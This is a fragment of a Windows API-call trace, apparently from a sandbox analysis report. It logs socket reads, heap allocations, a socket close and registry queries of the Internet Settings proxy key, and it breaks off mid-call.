buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.520] GetCurrentThreadId () returned 0x9b0 [0079.520] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.520] GetCurrentThreadId () returned 0x9b0 [0079.520] GetCurrentThreadId () returned 0x9b0 [0079.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8410 [0079.520] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.520] GetCurrentThreadId () returned 0x9b0 [0079.521] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.521] GetCurrentThreadId () returned 0x9b0 [0079.521] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.521] GetCurrentThreadId () returned 0x9b0 [0079.521] GetCurrentThreadId () returned 0x9b0 [0079.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81fb0 [0079.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.521] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.521] GetCurrentThreadId () returned 0x9b0 [0079.521] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.521] GetCurrentThreadId () returned 0x9b0 [0079.521] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.522] GetCurrentThreadId () returned 0x9b0 [0079.522] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.522] GetCurrentThreadId () returned 0x9b0 [0079.522] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.522] GetCurrentThreadId () returned 0x9b0 [0079.522] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.522] GetCurrentThreadId () returned 0x9b0 [0079.522] GetCurrentThreadId () returned 0x9b0 [0079.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f80 [0079.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f80 | out: hHeap=0x2ad0000) returned 1 [0079.522] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] GetCurrentThreadId () returned 0x9b0 [0079.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d88 [0079.524] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d88 | out: hHeap=0x2ad0000) returned 1 [0079.524] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.524] GetCurrentThreadId () returned 0x9b0 [0079.524] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.524] GetCurrentThreadId () returned 0x9b0 [0079.524] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.524] GetCurrentThreadId () returned 0x9b0 [0079.524] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.524] GetCurrentThreadId () returned 0x9b0 [0079.524] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.524] GetCurrentThreadId () returned 0x9b0 [0079.525] GetCurrentThreadId () returned 0x9b0 [0079.525] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.525] GetCurrentThreadId () returned 0x9b0 [0079.525] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.525] GetCurrentThreadId () returned 0x9b0 [0079.525] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.525] GetCurrentThreadId () returned 0x9b0 [0079.525] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.525] GetCurrentThreadId () returned 0x9b0 [0079.525] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.525] GetCurrentThreadId () returned 0x9b0 [0079.526] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.526] GetCurrentThreadId () returned 0x9b0 [0079.526] GetCurrentThreadId () returned 0x9b0 [0079.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8d18 | out: hHeap=0x2ad0000) returned 1 [0079.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e90d0 [0079.526] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.526] GetCurrentThreadId () returned 0x9b0 [0079.526] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.526] GetCurrentThreadId () returned 0x9b0 [0079.526] GetCurrentThreadId () returned 0x9b0 [0079.526] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.526] GetCurrentThreadId () returned 0x9b0 [0079.527] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.527] GetCurrentThreadId () returned 0x9b0 [0079.527] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.527] GetCurrentThreadId () returned 0x9b0 [0079.527] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.527] GetCurrentThreadId () returned 0x9b0 [0079.527] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.527] GetCurrentThreadId () returned 0x9b0 [0079.527] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.527] GetCurrentThreadId () returned 0x9b0 [0079.527] GetCurrentThreadId () returned 0x9b0 [0079.528] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.528] GetCurrentThreadId () returned 0x9b0 [0079.528] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.528] GetCurrentThreadId () returned 0x9b0 [0079.528] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.528] GetCurrentThreadId () returned 0x9b0 [0079.528] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.528] GetCurrentThreadId () returned 0x9b0 [0079.528] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.528] GetCurrentThreadId () returned 0x9b0 [0079.528] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.529] GetCurrentThreadId () returned 0x9b0 [0079.529] GetCurrentThreadId () returned 0x9b0 [0079.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d10 [0079.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0079.529] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.529] GetCurrentThreadId () returned 0x9b0 [0079.529] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.529] GetCurrentThreadId () returned 0x9b0 [0079.529] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.529] GetCurrentThreadId () returned 0x9b0 [0079.529] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.529] GetCurrentThreadId () returned 0x9b0 [0079.529] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.530] GetCurrentThreadId () returned 0x9b0 [0079.530] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.530] GetCurrentThreadId () returned 0x9b0 [0079.530] GetCurrentThreadId () returned 0x9b0 [0079.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f80 [0079.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f80 | out: hHeap=0x2ad0000) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ec0 [0079.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ec0 | out: hHeap=0x2ad0000) returned 1 [0079.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8410 | out: hHeap=0x2ad0000) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8fc0 [0079.530] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.530] GetCurrentThreadId () returned 0x9b0 [0079.530] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.531] GetCurrentThreadId () returned 0x9b0 [0079.531] GetCurrentThreadId () returned 0x9b0 [0079.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e60 [0079.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e60 | out: hHeap=0x2ad0000) returned 1 [0079.531] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.531] GetCurrentThreadId () returned 0x9b0 [0079.531] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.531] GetCurrentThreadId () returned 0x9b0 [0079.531] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.531] GetCurrentThreadId () returned 0x9b0 [0079.531] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.531] GetCurrentThreadId () returned 0x9b0 [0079.532] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.532] GetCurrentThreadId () returned 0x9b0 [0079.532] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.532] GetCurrentThreadId () returned 0x9b0 [0079.532] GetCurrentThreadId () returned 0x9b0 [0079.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d88 [0079.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d88 | out: hHeap=0x2ad0000) returned 1 [0079.532] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.532] GetCurrentThreadId () returned 0x9b0 [0079.532] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.533] GetCurrentThreadId () returned 0x9b0 [0079.533] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.533] GetCurrentThreadId () returned 0x9b0 [0079.533] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.533] GetCurrentThreadId () returned 0x9b0 [0079.533] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.533] GetCurrentThreadId () returned 0x9b0 [0079.533] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.533] GetCurrentThreadId () returned 0x9b0 [0079.533] GetCurrentThreadId () returned 0x9b0 [0079.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d88 [0079.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d88 | out: hHeap=0x2ad0000) returned 1 [0079.533] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.534] GetCurrentThreadId () returned 0x9b0 [0079.534] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.534] GetCurrentThreadId () returned 0x9b0 [0079.534] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.534] GetCurrentThreadId () returned 0x9b0 [0079.534] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.534] GetCurrentThreadId () returned 0x9b0 [0079.534] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.534] GetCurrentThreadId () returned 0x9b0 [0079.534] GetCurrentThreadId () returned 0x9b0 [0079.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e90d0 | out: hHeap=0x2ad0000) returned 1 [0079.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81dd0, Size=0x20) returned 0x3028558 [0079.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8b80 [0079.535] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.535] GetCurrentThreadId () returned 0x9b0 [0079.535] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.535] GetCurrentThreadId () returned 0x9b0 [0079.535] GetCurrentThreadId () returned 0x9b0 [0079.535] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.535] GetCurrentThreadId () returned 0x9b0 [0079.535] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.535] GetCurrentThreadId () returned 0x9b0 [0079.535] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.536] GetCurrentThreadId () returned 0x9b0 [0079.536] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.536] GetCurrentThreadId () returned 0x9b0 [0079.536] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.536] GetCurrentThreadId () returned 0x9b0 [0079.536] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.536] GetCurrentThreadId () returned 0x9b0 [0079.536] GetCurrentThreadId () returned 0x9b0 [0079.536] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.536] GetCurrentThreadId () returned 0x9b0 [0079.536] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.537] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.537] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.537] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.537] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.537] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.537] GetCurrentThreadId () returned 0x9b0 [0079.538] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.538] GetCurrentThreadId () returned 0x9b0 [0079.538] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.538] GetCurrentThreadId () returned 0x9b0 [0079.538] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.538] GetCurrentThreadId () returned 0x9b0 [0079.538] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.538] GetCurrentThreadId () returned 0x9b0 [0079.538] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.538] GetCurrentThreadId () returned 0x9b0 [0079.538] GetCurrentThreadId () returned 0x9b0 [0079.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f20 [0079.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.539] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.539] GetCurrentThreadId () returned 0x9b0 [0079.539] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.539] GetCurrentThreadId () returned 0x9b0 [0079.539] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.539] GetCurrentThreadId () returned 0x9b0 [0079.539] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.539] GetCurrentThreadId () returned 0x9b0 [0079.539] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.539] GetCurrentThreadId () returned 0x9b0 [0079.540] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.540] GetCurrentThreadId () returned 0x9b0 [0079.540] GetCurrentThreadId () returned 0x9b0 [0079.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d70 [0079.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0079.540] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.540] GetCurrentThreadId () returned 0x9b0 [0079.540] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.540] GetCurrentThreadId () returned 0x9b0 [0079.540] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.540] GetCurrentThreadId () returned 0x9b0 [0079.540] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.541] GetCurrentThreadId () returned 0x9b0 [0079.541] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.541] GetCurrentThreadId () returned 0x9b0 [0079.541] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.541] GetCurrentThreadId () returned 0x9b0 [0079.541] GetCurrentThreadId () returned 0x9b0 [0079.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81fe0 [0079.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fe0 | out: hHeap=0x2ad0000) returned 1 [0079.541] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.541] GetCurrentThreadId () returned 0x9b0 [0079.541] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.541] GetCurrentThreadId () returned 0x9b0 [0079.542] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.542] GetCurrentThreadId () returned 0x9b0 [0079.542] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.542] GetCurrentThreadId () returned 0x9b0 [0079.542] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.542] GetCurrentThreadId () returned 0x9b0 [0079.542] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.542] GetCurrentThreadId () returned 0x9b0 [0079.542] GetCurrentThreadId () returned 0x9b0 [0079.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f20 [0079.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.542] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.543] GetCurrentThreadId () returned 0x9b0 [0079.543] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.543] GetCurrentThreadId () returned 0x9b0 [0079.543] GetCurrentThreadId () returned 0x9b0 [0079.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8630 [0079.543] recv (in: s=0x360, buf=0x3636634, len=1, flags=0 | out: buf=0x3636634*) returned 1 [0079.543] GetCurrentThreadId () returned 0x9b0 [0079.543] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.543] GetCurrentThreadId () returned 0x9b0 [0079.543] GetCurrentThreadId () returned 0x9b0 [0079.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0079.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0079.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de538 [0079.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0079.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d10 [0079.544] GetCurrentThreadId () returned 0x9b0 [0079.544] GetCurrentThreadId () returned 0x9b0 [0079.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5050 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3ae0 | out: hHeap=0x2ad0000) returned 1 [0079.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5670 | out: hHeap=0x2ad0000) returned 1 [0079.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e89e8 [0079.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2015) returned 0x33ef330 [0079.545] recv (in: s=0x360, buf=0x33ef344, len=8192, flags=0 | out: buf=0x33ef344*) returned 14 [0079.545] GetCurrentThreadId () returned 0x9b0 [0079.545] recv (in: s=0x360, buf=0x33ef374, len=8192, flags=0 | out: buf=0x33ef374) returned 0 [0079.545] GetCurrentThreadId () returned 0x9b0 [0079.545] closesocket (s=0x360) returned 0 [0079.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e89e8 | out: hHeap=0x2ad0000) returned 1 [0079.546] GetCurrentThreadId () returned 0x9b0 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3000) returned 0x33ef330 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3000) returned 0x35b49c8 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f20 [0079.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.546] GetCurrentThreadId () returned 0x9b0 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de528 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x264) returned 0x33f2338 [0079.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0079.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0079.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f68 [0079.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0079.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.546] GetCurrentThreadId () returned 0x9b0 [0079.547] GetCurrentThreadId () returned 0x9b0 [0079.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0079.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0079.547] GetCurrentThreadId () returned 0x9b0 [0079.547] GetCurrentThreadId () returned 0x9b0 [0079.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a18e18 [0079.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x98) returned 0x334d700 [0079.547] GetCurrentThreadId () returned 0x9b0 [0079.547] GetCurrentThreadId () returned 0x9b0 [0079.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d700 | out: hHeap=0x2ad0000) returned 1 [0079.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x98) returned 0x334d340 [0079.547] GetCurrentThreadId () returned 0x9b0 [0079.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d340 | out: hHeap=0x2ad0000) returned 1 [0079.548] GetCurrentThreadId () returned 0x9b0 [0079.548] GetCurrentThreadId () returned 0x9b0 [0079.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0079.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0079.548] GetCurrentThreadId () returned 0x9b0 [0079.548] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x9baf08 | out: phkResult=0x9baf08*=0x360) returned 0x0 [0079.548] GetCurrentThreadId () returned 0x9b0 [0079.548] RegQueryValueExA (in: hKey=0x360, lpValueName="ProxyEnable", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x9baf1c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x9baf1c*=0x4) returned 0x0 [0079.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0079.548] RegQueryValueExA (in: hKey=0x360, lpValueName="ProxyEnable", lpReserved=0x0, lpType=0x9baf10, lpData=0x33de568, lpcbData=0x9baf18*=0x4 | out: 